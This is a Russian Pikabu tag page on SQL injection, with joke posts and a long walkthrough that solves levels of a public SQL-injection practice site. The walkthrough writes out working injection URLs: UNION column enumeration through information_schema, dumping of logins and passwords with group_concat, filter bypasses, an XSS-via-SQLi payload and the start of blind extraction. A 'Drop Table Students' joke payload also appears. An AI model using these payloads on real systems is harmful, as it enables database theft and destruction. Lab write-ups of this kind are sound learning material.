Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Я хочу получать рассылки с лучшими постами за неделю
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
Создавая аккаунт, я соглашаюсь с правилами Пикабу и даю согласие на обработку персональных данных.
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam

Пикабу Игры +1000 бесплатных онлайн игр

Открой для себя волшебный мир реальной рыбалки. Лови реальную рыбу на реальных водоемах! Исследуй новые рыболовные места и заполучи заветный трофей.

Реальная Рыбалка

Симуляторы, Мультиплеер, Спорт

Играть
Начните с маленькой подводной лодки: устанавливайте бомбы, избавляйтесь от врагов и старайтесь не попадаться на глаза своим плавучим врагам. Вас ждет еще несколько игровых вселенных, много уникальных сюжетов и интересных загадок.

Пикабомбер

Аркады, Пиксельная, 2D

Играть
Станьте Детективом! Решайте логические головоломки, чтобы найти преступника! 
Множество уровней и интересных историй! События и задачи дня!

Тебе предстоит раскрывать массу разных дел, в этом тебе поможет известный всем сыщикам метод дедукции.

Детектив - логические головоломки

Головоломки, Казуальные, Логическая

Играть
Динамичный карточный батлер с PVE и PVP-боями онлайн! Собери коллекцию карточных героев, построй свою боевую колоду и вступай в бой с другими игроками.

Cards out!

Карточные, Ролевые, Стратегии

Играть
Классический пинбол, как в древнем игровом автомате или в компактной игрушке: есть пружины, шарики и препятствия. В нашем варианте можно не только зарабатывать очки: чтобы пройти уровень, придется выполнить дополнительную миссию.

Пинбол Пикабу

Аркады, На ловкость, Казуальные

Играть

Топ прошлой недели

  • Oskanov Oskanov 8 постов
  • AlexKud AlexKud 26 постов
  • StariiZoldatt StariiZoldatt 3 поста
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая кнопку «Подписаться на рассылку», я соглашаюсь с Правилами Пикабу и даю согласие на обработку персональных данных.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Помощь Кодекс Пикабу Команда Пикабу Моб. приложение
Правила соцсети О рекомендациях О компании
Промокоды Биг Гик Промокоды Lamoda Промокоды МВидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня

Sql injection

13 постов сначала свежее
244
an0nym
an0nym
8 лет назад
IT-юмор

Хорошая попытка, Алекс.⁠⁠

Хорошая попытка, Алекс.
IT Юмор SQL Sql injection
42
64
vybgrib
vybgrib
9 лет назад
IT-юмор

Да что ты знаешь об SQL-инъекциях...⁠⁠

Да что ты знаешь об SQL-инъекциях...
Sql injection Drop IT Юмор Сисадмин Айтишники Интернет
12
84
ZhopaPutina
ZhopaPutina
9 лет назад

Как работают SQL Инъекции⁠⁠

Как работают SQL Инъекции Программирование, SQL, Sql injection, Симпсоны, Профессиональный юмор, Длиннопост
Показать полностью 1
Программирование SQL Sql injection Симпсоны Профессиональный юмор Длиннопост
37
1
bykvaadm
10 лет назад

Мама папа я и микрокалькулятор часть 3⁠⁠

В этом выпуске поговорим немного о решении sql-инъекций. Не буду сюда писать одну из тысяч статей что такое sql-инъекция. Прочитать об этом можно например вот здесь: www.google.com
а про то как эксплуатировать - тут https://rdot.org/forum/showthread.php?t=124

Предыдущий выпуск не особо вообще кому-то понравился, в этом я сделаю акцент на решении практических примеров. На сайте alexbers.com/sql есть подборка скульных инъекций. Разберем, как это работает. Я специально не буду указывать «пароли» от следующих уровней и ссылки на эти уровни.

Пример 1: https://www.alexbers.com/sql/1.php

Это даже и не пример, требуется самому написать запрос, с заранее известными всеми таблицами, именем пользователя.

Дано:
Таблица: users
Поля: id,login,pass

Решение:
https://www.alexbers.com/sql/1.php?text=select * from users where id='12

Просто запрос со всеми данными, которые нам заведомо известны.

Пример 2: https://www.alexbers.com/sql/ZZZZZZZZZ2.php

Нам продемонстрирован запрос:
select * from users where id=2 or login='$text'

Дано:
Таблица: users
Поля: id,login,pass

В этом примере показана примитивная уязвимость: входные данные никак не фильтруются. Поэтому мы можем воспользоваться кавычкой:
https://www.alexbers.com/sql/ZZZZZZZZZZZ2.php?text=-1' or id='9

Что мы сделали? Мы привели запрос к такому виду:
select * from users where id=2 or login='-1' or id='9'

Мы пытаемся извлечь из таблицы users пользователя с id=2 или с login=1 или с id=9, которая взята кавычкой слева и будет закрыта кавычкой оригинального запроса
Поскольку пользователя «-1» не существует, мы из этого запроса ничего не получаем, зато id=9 существует. В результате получаем вывод из 2-х строк — пользователь с id=2 и с id=9.

Пример 3: https://www.alexbers.com/sql/ZZZZZZZ3.php

Опять виден запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблица: users
Поля: id,login,pass

Различие с предыдущим примером — ограничение на вывод в 1 строку. Уходит приплясывая при постановке комментария, который «уберет» конец строки, т.е. Он не будет обработан.

Решение:
https://www.alexbers.com/sql/ZZZZZZZ3.php?text=-1' or id='13 -- 123

Вид запроса:
select * from users where id=2 or login='-1 or id='13' --123' limit 1
Таким образом мы выкидываем ограничение и извлекаем пользователя с id=13

Пример 4: https://www.alexbers.com/sql/ZZZZZZ4.php

Запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 3 поля

Чуток поинтересней. Теперь у нас 2 таблицы, и запрос выполняется не к той таблице, которая нам нужна. Воспользуемся классическим способом. В mysql существует оператор, который позволяет выполнять запрос к разным таблицам через 1 запрос. Для работы с объеденением запросов нам необходимо чтобы во всех объеденяемых запросах количество полей было одинаковым. Так как мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором к первому. Сделать это можно несколькими способами, воспользуемся оператором union. Дело в том, что количество столбцов до UNION и после должны соответствовать, и, наверняка, вылезет ошибка
Запрос:
https://www.alexbers.com/sql/ZZZZZZ4.php?text=-1' union select 1,2 -- 123
Настоящий вид запроса:
select * from users where id=2 or login='-1' union select 1,2 -- 123' limit 1
Ответ сервера:
Could not query: The used SELECT statements have a different number of columns
Значит число отличается от того, которое реально в таблице users. Методом изменения перечисления столбцов приходим к выводу, что число столбцов — 3 штуки. (В этом случае ошибки не будет). Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции.

Кстати, тут также можно привести примитивный пример xss через sqli:
https://www.alexbers.com/sql/ZZZZZZ4.php?text=-1' union select 1,alert('XSS'),3 -- 123
Как уже заметили, цифры 1,2,3 выводятся на экран, а ведь это прямая запись кода в страничку. Воспользуемся этим и выведем алерт

Но наша цель — другое, вывести информацию из другой таблицы. О ней мы знаем только то, что в ней 3 поля и ее название. Чтобы извлечь какие-то поля, мы должны их знать. Сделать это можно несколькими способами, например, если у нас есть доступ к служебной таблице information schema. Таблица information_schema.columns хранит информацию об именах колонок. Извлечем информацию о всех колонках всех таблиц и отфильтруем ее только теми, которые принадлежат таблице secret:

https://www.alexbers.com/sql/ZZZZZZ4.php
?text=-1'+union+select+1,column_name,3+from+information_schema.columns where table_name='secret'--+123

Результат:
id
login
pass
2
qwer
rewq
1
f1
3
1
f2
3
1
ggg
3

Можно использовать более обширную и наглядную выборку:
https://www.alexbers.com/sql/ZZZZZZ4.php?text=-1'+union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'+--+123


По задаче требуется найти данное секретной таблицы с полем ggg=abc. Извлечем данные колонок f1,f2:
https://www.alexbers.com/sql/ZZZZZZ4.php
?text=-1'+union+select+f1,f2,ggg+from+secret where ggg='abc'--+123

Один из результатов и будет ответом на уровень :)

Пример 5: https://www.alexbers.com/sql/ZZZZZZZ5.php

Запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 2 поля

Попробуем повторить предыдущий пример. Узнаем сколько колонок в таблице users, извлечем список всех колонок для секретной таблицы.

https://www.alexbers.com/sql/ZZZZZZZ5.php?text=1' union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'--+123

Видим, что у нас в таблице secret – находится 2 колонки, извлечем их значения:
https://www.alexbers.com/sql/ZZZZZZZ5.php?text=-1' union select 1,dfgdfgfdg,dfgfddfgdfdfdf from secret-- 123

Видим ответ =)

Пример 6: https://www.alexbers.com/sql/ZZZZZ6.php

Запрос:
select * from users where id=$text limit 1

Дано:
Таблицы: users
Поля: id,login,pass - это в users.
Фильтруются кавычки, выводится только 1 строка из БД

Здесь видно «непонимание принципов работы фильтра mysq_real_escape”, когда значение переменной id не помещено в кавычки. Тогда, хоть они и 50 раз фильтруются, они нам и не нужны. Выборка проста до невозможности:

https://www.alexbers.com/sql/ZZZZZ6.php?text=-1 or login=CHAR(103, 111, 100)

Допустим, что нам слишком много известно из «дано» (Это отступление, не имеющее отношение к примеру). Обычно приходится подбирать все вручную и здесь нас пытается обломать «выводится только 1 строка из БД». В таких случаях можно использовать объединение результата запроса в 1 строку:

https://www.alexbers.com/sql/ZZZZZ6.php?text=-1 union select 1,2,group_concat(concat_ws(0x3a,id,login,pass)) from users where id>27
Для перемещения по такой выборке можно использовать либо id, либо строку (часть вывода) которую в частном примере нужно будет пропустить через char(). (спасибо rdot.org)

Пример 7: https://www.alexbers.com/sql/ZZZZ7.php

Дано:
Таблицы: users
Поля: id,login,pass - это в users.Теперь всегда выводится только первая строка ответа(остальные не выводятся) Фильтруются символы ',",+,=,запятая,пробел,скобки

Запрос:
select * from users where id=$text limit 1

Поскольку выборка идет сразу по нужной нам таблице, то даже не придется использовать второй запрос. Пробелы заменяются на комментарии (// и /*!*/), остается только одна проблема — фильтруется знак равенства. Но его можно обойти используя оператор like. Этот оператор можно использовать сравнивая напрямую со строкой, но тогда придется использовать кавычки, либо без кавычек и требуется перекодировать строку в hex. Также, нам доподлинно неизвестен ник который мы ищем, поэтому будем использовать поиск по маске, со значком % в логине. Итоговый вектор атаки примет вид:

https://www.alexbers.com/sql/ZZZZ7.php?text=-1/*!or/*!login*/like/
/0x2567656e746f6f25

Пример 8: https://www.alexbers.com/sql/ZZZZZ8.php

Запрос:
select * from users where id=$text

Дано:
Таблицы: users
Поля: id,login,pass - это в users.
Подсказка: сообщения от ошибках не выведутся

Единственное, что нам навообще что-то выводится - информация о том, что произошла какая-то ошибка, или количество выведенных записей. Количество выводимых записей — единственное число которым мы можем управлять. От нас требуется получить пароль от пользователя. Пароль — это некоторая информация, записываемая в числово-буквенном виде. Все чем мы можем оперировать — цифры. Значит пароль надо представить в численном виде. Если взять и перевести каждый символ в ascii – вид, то любой символ из пароля будет в виде числа. Для отделения символа воспользуемся функцией mid(), для перевода в ascii – функция ascii(), вектор атаки получится вот таким:

https://www.alexbers.com/sql/ZZZZZ8.php?text=-1 or id
Показать полностью
[моё] Sql injection Sqli Alexbers Rdot Текст Длиннопост
11
6
qvovert169
qvovert169
10 лет назад

Василий');Drop Table Students;--⁠⁠

В честь http://pikabu.ru/story/_2518198
Василий');Drop Table Students;-- В честь <a href="http://pikabu.ru/story/o_nedavnem_vzlome_pikabu_2518198">http://pikabu.ru/story/_2518198</a>
Имена Sql injection База данных
5
Посты не найдены
О нас
О Пикабу Контакты Реклама Сообщить об ошибке Сообщить о нарушении законодательства Отзывы и предложения Новости Пикабу Мобильное приложение RSS
Информация
Помощь Кодекс Пикабу Команда Пикабу Конфиденциальность Правила соцсети О рекомендациях О компании
Наши проекты
Блоги Работа Промокоды Игры Курсы
Партнёры
Промокоды Биг Гик Промокоды Lamoda Промокоды Мвидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии